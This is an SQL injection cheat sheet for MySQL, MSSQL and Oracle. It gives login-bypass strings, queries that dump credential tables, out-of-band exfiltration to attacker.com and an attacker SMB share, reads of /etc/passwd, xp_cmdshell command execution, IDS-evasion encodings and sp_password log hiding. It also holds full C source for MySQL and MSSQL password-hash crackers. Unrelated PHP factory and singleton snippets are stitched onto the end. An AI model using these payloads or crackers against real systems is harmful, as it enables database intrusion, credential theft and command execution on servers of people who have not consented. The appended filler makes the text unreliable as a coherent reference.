SQL Injection Pocket Reference
SQL Injection Cheat Sheet)
1. MySQL
i. Strings
ii. Numeric
iii. In a login
i. Finding out number of columns
1. Order By
2. Error Based
iii. Retrieving Columns
v. Retrieving Multiple Tables/Columns at once
vi. Find Tables from Column Name
vii. Find Column From Table Name
i. Avoiding the use of single/double quotations
k. Privileges
i. MySQL 4/5
ii. MySQL 5
i. Timing
ii. DNS (requires FILE privilege)
iii. SMB (requires FILE privilege)
n. Reading Files (requires FILE privilege)
o. Writing Files (requires FILE privilege)
i. Allowed Intermediary Characters
ii. Allowed Intermediary Characters after AND/OR
s. Operators
t. Constants
2. MSSQL
iii. Retrieving Multiple Tables/Columns at once
i. Encodings
ii. Allowed Intermediary Characters
iii. Allowed Intermediary Characters after AND/OR
3. ORACLE
ii. User Databases
iii. Finding Tables from Column Name
iv. Finding Column From Table Name
i. Avoiding the use of single/double quotations
i. Time Delay
Credits
I would like to thank .mario, Reiners and everyone else who has helped me in making this document what it is today. You can reach me at twitter.com/LightOS with any suggestions you may have and remember this is still a work in progress, so be sure to check in frequently for updates.
MySQL
Default Databases
· mysql (Privileged)
· information_schema (Version >= 5)
Comment Out Query
· #
· /*
· — -
· ;%00
· `
Example:
· ’ OR 1=1 — -’ ORDER BY id;
· ’ UNION SELECT 1, 2, 3`
Note:
The backtick can only be used to end a query when used as an alias.
Testing Injection
· False
o The query is invalid (MySQL errors/missing content on website)
· True
o The query is valid (content is displayed as usual)
Strings
· ‘ - False
· ” - True
· ” - False
· ”” - True
· \ - False
· \ - True
Numeric
· AND 0 - False
· AND 1 - True
· 2-1 - 1
· 3-2 - 1
In a login
· ’ OR ‘1
· ’ OR 1 — -
· ” OR “” = ”
· ” OR 1 = 1 — -
· ’=’
· ‘LIKE’
· ‘=0—+
Example:
· SELECT * FROM Users WHERE username = ‘Mike’ AND password = ”=”
· SELECT * FROM Users WHERE username = ‘Mike’ AND password = ‘’ OR ” = ‘’
Note:
· You can use as many apostrophes/quotations as you want as long as they pair up
· SELECT * FROM Articles WHERE id = ‘121””””””’
· It’s also possible to continue the statement after the chain of quotes: SELECT ‘1””’”” UNION SELECT ‘2’ # 1 and 2
· Quotes escape quotes: SELECT ‘1”’ # 1’
Testing Version
· VERSION();
· @@VERSION;
· @@GLOBAL.VERSION
Example: ’ AND MID(VERSION(),1,1) = ‘5 - True if MySQL version is 5
Note:
· You can use comments in between the name and the parenthesis and inside the parenthesis
· Example: VERSION/**/(/**/)
· Output will contain -nt-log in case the DBMS runs on a Windows based machine
MySQL-specific code
MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.
Example:
· UNION SELECT /*!50000 5,null;%00*//*!40000 4,null— ,*//*!30000 3,null— x*/0,null—+
· SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/*/);
Database Credentials
· Table: mysql.user (Privileged)
· Columns: user, password
· Current User: user(), current_user(), system_user(), session_user()
Example:
· SELECT current_user;
· UNION SELECT CONCAT(user, 0x3A, password) FROM mysql.user WHERE user = ‘root’
Database Names
· Tables: information_schema.schemata, mysql.db
· Columns: schema_name, db
· Current DB: database(), schema()
Example:
· UNION SELECT schema_name FROM information_schema.schemata
· SELECT DISTINCT(db) FROM mysql.db (Privileged)
Tables & Columns
Finding out number of columns
Order By
· ORDER BY 1
· ORDER BY 2
· ORDER BY …
Note:
Keep incrementing the number until you get a False response.
Example:
· 1’ ORDER BY 1— - True
· 1’ ORDER BY 2— - True
· 1’ ORDER BY 3— - True
· 1’ ORDER BY 4— - False (Query is only using 3 columns)
· -1’ UNION SELECT 1,2,3— -
Error Based
· AND (SELECT * FROM SOME_EXISTING_TABLE) = 1
· Operand should contain 3 column(s)
Note:
· This works if you know the table name you’re after and error showing is enabled
· It will return the amount of columns in the table, not the query.
Retrieving Tables
· Union:
o UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
· Blind:
o AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > ‘A’
· Error:
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2)))
o (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
o AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));— Available in 5.1.5
Note:
· version=9 for MySQL 4
· version=10 for MySQL 5
Retrieving Columns
· Union:
o UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = ‘tablename’
· Blind:
o AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > ‘A’
Error:
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2)))
o (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0);
o AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));— Available in MySQL 5.1.5
o AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)— Fixed in MySQL 5.1
· Procedure Analyse():
o Refer to PROCEDURE ANALYSE() below.
Note:
The GROUP_CONCAT() function allows grouping of the tables/columns, instead of viewing them one at a time.
Note:
· Output is limited to 1024 chars by default.
· All default database table names: ~900 chars
· All default database column names: ~6000 chars
PROCEDURE ANALYSE()
· 1 PROCEDURE ANALYSE() #get first column name
· 1 LIMIT 1,1 PROCEDURE ANALYSE() #get second column name
· 1 LIMIT 2,1 PROCEDURE ANALYSE() #get third column name
Note:
It is necessary that the webapp will display the first selected column of the SQL query you are injecting to.
Retrieving Multiple Tables/Columns at once
· UNION SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM information_schema.columns
Find Tables from Column Name
· SELECT table_name FROM information_schema.columns WHERE column_name = ‘username’; - Finds the table names for any columns named username.
· SELECT table_name FROM information_schema.columns WHERE column_name LIKE ‘%user%’; - Finds the table names for any columns that contain the word user.
Find Column From Table Name
· SELECT column_name FROM information_schema.columns WHERE table_name = ‘Users’;
· SELECT column_name FROM information_schema.columns WHERE table_name LIKE ‘%user%’;
Avoiding the use of single/double quotations
· UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = 0x61646D696E
· UNION SELECT CONCAT(username,0x3a,password) FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
String concatenation
· SELECT CONCAT(‘a’,’a’,’a’)
· SELECT ‘a’ ‘d’ ‘mi’ ‘n’
· SELECT/*/’a’/*/ ‘d’/*/ ‘mi’/*/ ‘n’ (phpMyAdmin)
Privileges
FILE privilege
MySQL 4/5
· ’ UNION SELECT file_priv FROM mysql.user WHERE user = ‘username
· ’ AND MID((SELECT file_priv FROM mysql.user WHERE user = ‘username’),1,1) = ‘Y
MySQL 5
· ’ UNION SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%
· ’ AND MID((SELECT is_grantable FROM information_schema.user_privileges WHERE privilege_type = ‘file’ AND grantee like ‘%username%’),1,1)=’Y
Out Of Band Channeling
Timing
· BENCHMARK()
· SLEEP() (MySQL 5)
· IF(), (CASE()WHEN)
Example:
· ’ - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1(‘test’)), false)) - ‘
DNS (requires FILE privilege)
· SELECT LOAD_FILE(concat(‘\\foo.’,(select MID(version(),1,1)),’.attacker.com\’));
SMB (requires FILE privilege)
· ’ OR 1=1 INTO OUTFILE ‘\\attacker\SMBshare\output.txt
Reading Files (requires FILE privilege)
· LOAD_FILE()
o UNION SELECT LOAD_FILE(‘/etc/passwd’)— -
o UNION SELECT LOAD_FILE(0x2F6574632F706173737764)— -
Note:
· File must be located on the server host
· The basedirectory for load_file() is the @@datadir
· The file must be readable by the MySQL user
· The file size must be less than max_allowed_packet
· UNION SELECT @@max_allowed_packet (default value is 1047552 Byte)
Writing Files (requires FILE privilege)
· INTO OUTFILE/DUMPFILE
o UNION SELECT ‘code’ INTO OUTFILE ‘/tmp/file
Note:
· You can’t overwrite files with INTO OUTFILE
· INTO OUTFILE must be the last statement in the query
· There is no way to encode the pathname, so quotes are required
Stacked Queries with PDO
Stacked queries are possible when PHP uses the PDO_MYSQL driver to make a connection to the database.
Example:
· AND 1=0; INSERT INTO Users(username,password,priv) VALUES (‘BobbyTables’, ‘kl20da$$’,’admin’);
User Defined Functions
Fuzzing and Obfuscation
Allowed Intermediary Characters
· 09
· 0A
· 0B
· 0C
· 0D
· A0
Example: ‘%0A%09UNION%0CSELECT%10NULL%23
· 28
· 29
Example: UNION(SELECT(column)FROM(table))
Note:
Encoding your injection can sometimes be useful for IDS evasion.
· %75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31
· SELECT %74able_%6eame FROM information_schema.tables;
· SELECT %2574able_%256eame FROM information_schema.tables;
· SELECT %u0074able_%u6eame FROM information_schema.tables;
Futhermore, by using # or — followed by a newline, we can split the query into separate lines, sometimes tricking the IDS.
1’#
AND 0—
UNION# I am a comment!
SELECT@tmp:=table_name x FROM—
`information_schema`.tables LIMIT 1#
URL Encoded: 1’%23%0AAND 0—%0AUNION%23 I am a comment! %0ASELECT@tmp:=table_name x FROM—%0A`information_schema`.tables LIMIT 1%23
Allowed Intermediary Characters after AND/OR
· 2B
· 2D
· 7E
Example: SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
$prefixes = array(” “, “+”, “-“, “~”, “!”, “@”, ” “);
· 09
· 0A
· 0B
· 0D
· 0C
· 20
· A0
Example: SELECT 1 FROM information_schema%20%0C%20.%20%09tables;
Operators
$operators = array(“^”, “=”, “!=”, “%”, “/”, “*”, “&”, “&&”, “|”, “||”, “<”, “>”, “»”, “«”, “>=”, “<=”, “<>”, “<=>”, “AND”, “OR”, “XOR”, “DIV”, “LIKE”, “RLIKE”, “SOUNDS LIKE”, “REGEXP”, “IS”, “NOT”);
Constants
· current_user
· null, \N
· true, false
MySQL Functions()
MySQL Password Hashing
(Taken from Mysql.com)
Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:
+——————————————-+
| PASSWORD(‘mypass’) |
+——————————————-+
| 6f8c114b58f2ce9e |
+——————————————-+
As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:
+———————————————————————————————————-+
| PASSWORD(‘mypass’) |
+———————————————————————————————————-+
| *6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4 |
+———————————————————————————————————-+
MySQL Password() Cracker
Cain & Abel, JTR are capable of cracking MySQL 3.x-6.x passwords.
MySQL < 4.1 Password Cracker
<copypaste>
This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/
#include <stdio.h>
typedef unsigned long u32;
/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126
/* Maximum length of password */
#define MAX_LEN 12
#define MASK 0x7fffffffL
int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;
while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] « 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] « 8) ^ state1_ary[i+1]);
}
state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 « 8);
xor2 = (state2 « 8) ^ state1;
for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;
newstate3 = (targ2 - newstate2) ^ (newstate2 « 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 « 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d < MIN_CHAR || d > MAX_CHAR) continue;
div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 « 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e < MIN_CHAR || e > MAX_CHAR) continue;
pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}
while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i—;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] « 8) ^ state1_ary[i+1]);
}
return 0;
}
void crack(char *hash)
{
int i, len;
u32 targ1, targ2, targ3;
int pass[MAX_LEN];
if ( sscanf(hash, “%8lx%lx”, &targ1, &targ2) != 2 ) {
printf(“Invalid password hash: %s\n”, hash);
return;
}
printf(“Hash: %08lx%08lx\n”, targ1, targ2);
targ3 = targ2 - targ1;
targ3 = targ2 - ((targ3 « 8) ^ targ1);
targ3 = targ2 - ((targ3 « 8) ^ targ1);
targ3 = targ2 - ((targ3 « 8) ^ targ1);
for (len = 3; len <= MAX_LEN; len++) {
printf(“Trying length %d\n”, len);
if ( crack0(len-4, targ1, targ3, pass) ) {
printf(“Found pass: “);
for (i = 0; i < len; i++)
putchar(pass[i]);
putchar(‘\n’);
break;
}
}
if (len > MAX_LEN)
printf(“Pass not found\n”);
}
int main(int argc, char *argv[])
{
int i;
if (argc <= 1)
printf(“usage: %s hash\n”, argv[0]);
for (i = 1; i < argc; i++)
crack(argv[i]);
return 0;
}
</copypaste>
MSSQL
Default Databases
· pubs
· model
· msdb
· tempdb
· northwind
· information_schema (>= 2000)
Comment Out Query
· /*
· —
· %00
Testing Version
· @@VERSION
· VERSION()
Database Credentials
· Database.Table:
o master..syslogins, master..sysprocesses
· Columns:
o name, loginameCurrent User: user, system_user, suser_sname(), is_srvrolemember(‘sysadmin’)
· Database Credentials:
o SELECT user, password FROM master.dbo.sysxlogins
Example:
· SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID; — Returns current user
· SELECT (CASE WHEN (IS_SRVROLEMEMBER(‘sysadmin’)=1) THEN ‘1’ ELSE ‘0’ END);— Is Admin?
Database Server Hostname
· @@servername
· SERVERPROPERTY()
Example:
SELECT SERVERPROPERTY(‘productversion’), SERVERPROPERTY(‘productlevel’), SERVERPROPERTY(‘edition’) —
Only available >= SQL Server 2005
Database Names
· Table: master..sysdatabases
· Column: name
· Function: DB_NAME(i)
Example:
· SELECT name FROM master..sysdatabases;
· SELECT DB_NAME(5);
We can retrieve the tables/columns from two different databases, information_schema.tables, information_schema.columns or from master..sysobjects, masters..syscolumns.
Tables & Columns
Retrieving Tables
· Union:
o UNION SELECT name FROM master..sysobjects WHERE xtype=’U’ —
· Blind:
o AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > ‘A’
· Error Based:
o AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
o AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))
Note:
Xtype = ‘U’ is for User-defined tables. You can use ‘V’ for views.
Retrieving Columns
· Union:
o UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = ‘tablename’)
· Blind:
o AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > ‘A’
· Error Based:
o AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
o AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))
Retrieving Multiple Tables/Columns at once
The following 3 queries will create a temporary table/column and insert all the user-defined tables into it, it will then dump the table content and finish by deleting the table.
· Create Temp Table/Column and Insert Data:
o AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=’:’ SELECT @xy=@xy+’ ‘+name FROM sysobjects WHERE xtype=’U’ AND name>@xy SELECT @xy AS xy INTO TMP_DB END;
· Dump Content:
o AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
· Delete Table:
o AND 1=0; DROP TABLE TMP_DB;
Note:
You can encode your query in hex to “obfuscate” your attack.
’ and 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);—sp_password
OPENROWSET Attacks
SELECT * FROM OPENROWSET(‘SQLOLEDB’, ‘127.0.0.1’;’sa’;’p4ssw0rd’, ‘SET FMTONLY OFF execute master..xp_cmdshell “dir”’)
System Command Execution
Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.
EXEC master.dbo.xp_cmdshell ‘cmd’
Prior to MSSQL 2005, xp_cmdshell is disabled by default, but can easily be activated with the following queries:
EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘xp_cmdshell’, 1
EXEC sp_configure reconfigure
Alternatively, you can create your own procedure to achieve the same results
DECLARE @execmd INT
EXEC SP_OACREATE ‘wscript.shell’, @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, ‘run’, null, ‘%systemroot%\system32\cmd.exe /c’
If the SQL version is higher than 2000, you will have to run additional queries in order the execute the previous command.
EXEC sp_configure ‘show advanced options’, 1
EXEC sp_configure reconfigure
EXEC sp_configure ‘OLE Automation Procedures’, 1
EXEC sp_configure reconfigure
Example:
· ’ IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME=’TMP_DB’) DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N’[dbo].[xp_cmdshell]’) AND OBJECTPROPERTY (id, N’IsExtendedProc’) = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure ‘xp_cmdshell’ IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell ‘dir’ SELECT @a=” SELECT @a=Replace(@a%2B’<br></font><font color=”black”>’%2Bdir,’<dir>’,’</font><font color=”orange”>’) FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a=’xp_cmdshell not enabled’ DROP TABLE %23xp_cmdshell END ELSE SELECT @a=’xp_cmdshell not found’ SELECT @a AS tbl INTO TMP_DB—
· ’ UNION SELECT tbl FROM TMP_DB—
· ’ DROP TABLE TMP_DB—
This example checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the ‘dir’ command and inserts the results into TMP_DB.
SP_PASSWORD (Hiding Query)
Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.
Example: ’ and 1=1—sp_password
— ‘sp_password’ was found in the text of this event.
— The text has been replaced with this comment for security reasons.
Stacked Queries
· ’ AND 1=0 INSERT INTO ([column1], [column2]) VALUES (‘value1’, ‘value2’)
Fuzzing and Obfuscation
Encodings
Hex
o ’ AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);—sp_password
· URL Encoded
o %53%45%4c%45%43%54%20%31%20%46%52%4f%4d%20%64%75%61%6c
· Double URL Encoded
o %2553%2545%254c%2545%2543%2554%2520%2531%2520%2546%2552%254f%254d%2520%2564%2575%2561%256c
Unicode
o %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0031%u0020%u0046%u0052%u004f%u004d%u0020%u0064%u0075%u0061%u006c
HTML Entities (Needs to be verified)
o AND 1=1 (&# has to be URL Encoded)
o %26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B
Allowed Intermediary Characters
· 01-1F
· 25
Example:
· S%E%L%E%C%T%01column%02FROM%03table%00
· A%%ND 1=%%%%%%%%1
Note:
The percentage signs in between keywords is only possible on ASP
· 28
· 29
Example: UNION(SELECT(column)FROM(table))
· 5B
· 5D
· 22
Example: SELECT”table_name”FROM[information_schema].[tables]
Allowed Intermediary Characters after AND/OR
· 01-1F
· 2B
· 2D
· 2E
· 5C
· 7E
Example: SELECT 1FROM[table]WHERE\1=\1AND\1=\1
Note:
The backslash doesn’t seem to work with MSSQL 2000
MSSQL Password Hashing
Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercased version.
Example:
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE9 …
1C0784B911D76BF4EB124550ACABDFD1457
MSSQL Password Cracker
/////////////////////////////////////////////////////////////////////////////////
//
// SQLCrackCl
//
// This will perform a dictionary attack against the
// upper-cased hash for a password. Once this
// has been discovered try all case variant to work
// out the case sensitive password.
//
// This code was written by David Litchfield to
// demonstrate how Microsoft SQL Server 2000
// passwords can be attacked. This can be
// optimized considerably by not using the CryptoAPI.
//
// (Compile with VC++ and link with advapi32.lib
// Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = “\nLength Error!\n”;
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
int err = 0;
if(argc !=3)
{
printf(“\n\n*** SQLCrack *** \n\n”);
printf(“C:\>%s hash passwd-file\n\n”,argv[0]);
printf(“David Litchfield (david@ngssoftware.com)\n”);
printf(“24th June 2002\n”);
return 0;
}
err = OpenPasswordFile(argv[2]);
if(err !=0)
{
return printf(“\nThere was an error opening the password file %s\n”,argv[2]);
}
err = CrackPassword(argv[1]);
fclose(fd);
printf(“\n\n%d”,wd);
return 0;
}
int OpenPasswordFile(char *pwdfile)
{
fd = fopen(pwdfile,”r”);
if(fd)
return 0;
else
return 1;
}
int CrackPassword(char *hash)
{
char phash[100]=”“;
char pheader[8]=”“;
char pkey[12]=”“;
char pnorm[44]=”“;
char pucase[44]=”“;
char pucfirst[8]=”“;
char wttf[44]=”“;
char uwttf[100]=”“;
char *wp=NULL;
char *ptr=NULL;
int cnt = 0;
int count = 0;
unsigned int key=0;
unsigned int t=0;
unsigned int address = 0;
unsigned char cmp=0;
unsigned char x=0;
HCRYPTPROV hProv=0;
HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]=”“;
int len=0;
if(strlen(hash) !=94)
{
return printf(“\nThe password hash is too short!\n”);
}
if(hash[0]==0x30 && (hash[1]== ‘x’ || hash[1] == ‘X’))
{
hash = hash + 2;
strncpy(pheader,hash,4);
printf(“\nHeader\t\t: %s”,pheader);
if(strlen(pheader)!=4)
return printf(“%s”,lerr);
hash = hash + 4;
strncpy(pkey,hash,8);
printf(“\nRand key\t: %s”,pkey);
if(strlen(pkey)!=8)
return printf(“%s”,lerr);
hash = hash + 8;
strncpy(pnorm,hash,40);
printf(“\nNormal\t\t: %s”,pnorm);
if(strlen(pnorm)!=40)
return printf(“%s”,lerr);
hash = hash + 40;
strncpy(pucase,hash,40);
printf(“\nUpper Case\t: %s”,pucase);
if(strlen(pucase)!=40)
return printf(“%s”,lerr);
strncpy(pucfirst,pucase,2);
sscanf(pucfirst,”%x”,&cmp);
}
else
{
return printf(“The password hash has an invalid format!\n”);
}
printf(“\n\n Trying…\n”);
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL ,0))
{
if(GetLastError()==NTE_BAD_KEYSET)
{
// KeySet does not exist. So create a new keyset
if(!CryptAcquireContext(&hProv,
NULL,
NULL,
PROV_RSA_FULL,
CRYPT_NEWKEYSET ))
{
printf(“FAILLLLLLL!!!”);
return FALSE;
}
}
}
while(1)
{
// get a word to try from the file
ZeroMemory(wttf,44);
if(!fgets(wttf,40,fd))
return printf(“\nEnd of password file. Didn’t find the password.\n”);
wd++;
len = strlen(wttf);
wttf[len-1]=0x00;
ZeroMemory(uwttf,84);
// Convert the word to UNICODE
while(count < len)
{
uwttf[cnt]=wttf[count];
cnt++;
uwttf[cnt]=0x00;
count++;
cnt++;
}
len —;
wp = &uwttf;
sscanf(pkey,”%x”,&key);
cnt = cnt - 2;
// Append the random stuff to the end of
// the uppercase unicode password
t = key » 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key « 8;
t = t » 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key « 16;
t = t » 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
t = key « 24;
t = t » 24;
x = (unsigned char) t;
uwttf[cnt]=x;
cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
{
printf(“Error %x during CryptCreatHash!\n”, GetLastError());
return 0;
}
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
{
printf(“Error %x during CryptHashData!\n”, GetLastError());
return FALSE;
}
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
{
// If first byte matches try the rest
ptr = pucase;
cnt = 1;
while(cnt < 20)
{
ptr = ptr + 2;
strncpy(pucfirst,ptr,2);
sscanf(pucfirst,”%x”,&cmp);
if(szhash[cnt]==cmp)
cnt ++;
else
{
break;
}
}
if(cnt == 20)
{
// We’ve found the password
printf(“\nA MATCH!!! Password is %s\n”,wttf);
return 0;
}
}
count = 0;
cnt=0;
}
return 0;
}
ORACLE
Default Databases
· SYSTEM
· SYSAUX
Comment Out Query
· —
Testing Version
· SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%’
· SELECT banner FROM v$version WHERE banner LIKE ‘TNS%’
· SELECT version FROM v$instance
Database Credentials
· SELECT username FROM all_users
· SELECT name, password from sys.user$ (Privileged, <= 10g)
· SELECT name, spare4 from sys.user$ (Privileged, <= 11g)
Database Names
Current Database
· SELECT name FROM v$database;
· SELECT instance_name FROM v$instance
· SELECT global_name FROM global_name
· SELECT SYS.DATABASE_NAME FROM DUAL
User Databases
· SELECT DISTINCT owner FROM all_tables;
Tables & Columns
Retrieving Tables
· SELECT table_name FROM all_tables
Retrieving Columns
· SELECT column_name FROM all_tab_columns
Finding Tables from Column Name
· SELECT column_name FROM all_tab_columns WHERE table_name = ‘Users’
Finding Column From Table Name
· SELECT table_name FROM all_tab_tables WHERE column_name = ‘password’
Fuzzing and Obfuscation
Avoiding the use of single/double quotations
Unlike other RDBMS, Oracle allows us to reference table/column names encoded.
· SELECT chr(32)||chr(92)||chr(93) FROM dual
· SELECT 0x09120911091
Out Of Band Channeling
Time Delay
· SELECT UTL_INADDR.get_host_address(‘non-existant-domain.com’) FROM dual
Heavy Query Time delays
· AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1))
PHP: Database Abstraction
interface DataBaseManager{
public function connect();
public function shutdown();
}
class DatabaseCommon{
public function common_function_call(){
print "Function common to mySql and Oracle ...";
}
}
class mySql extends DatabaseCommon implements DataBaseManager{
public function connect(){
print "Connection mySql is establish ...";
}
public function shutdown(){
print "Connection to mySql is destablish";
}
}
class myOracle extends DatabaseCommon implements DataBaseManager{
public function connect(){
print "Connection Oracle is establish ...";
}
public function shutdown(){
print "Connection to Oracle is destablish";
}
}
class DatabaseFactory{
public static function initialize_to( $class ){
if(class_exists($class)) return new $class(); die ("Class Not Found $id");
}
}
/* much better approach As you can see you can separate common functionality in another class DatabaseCommon.
This help you to aviod changing both mySQl and Oracle class and interface class when want add more functions.*/
$mydb = DatabaseFactory::initialize_to('myOracle');
$mydb->connect();
$mydb->common_function_call();
$mydb->shutdown();
PHP: Singleton
Some application resources are exclusive in that there is one and only one of this type of resource. For example, the connection to a database through the database handle is exclusive. You want to share the database handle in an application because it’s an overhead to keep opening and closing connections, particularly during a single page fetch.
/*
* Singleton
*/
Class DBconnection {
private $conn = null;
private function __construct() {
$this->conn = mysql_connect('localhost', 'root', '');
if (!$this->conn) {
die('Could not connect: ' . mysql_error());
}
}
public static function connect() {
static $db = null;
if ($db == null) {
$db = new DBconnection();
}
return $db;
}
public function connectionId() {
return $this->conn;
}
}
print( "ResourceId = ".DBconnection::connect()->connectionId()."
" );
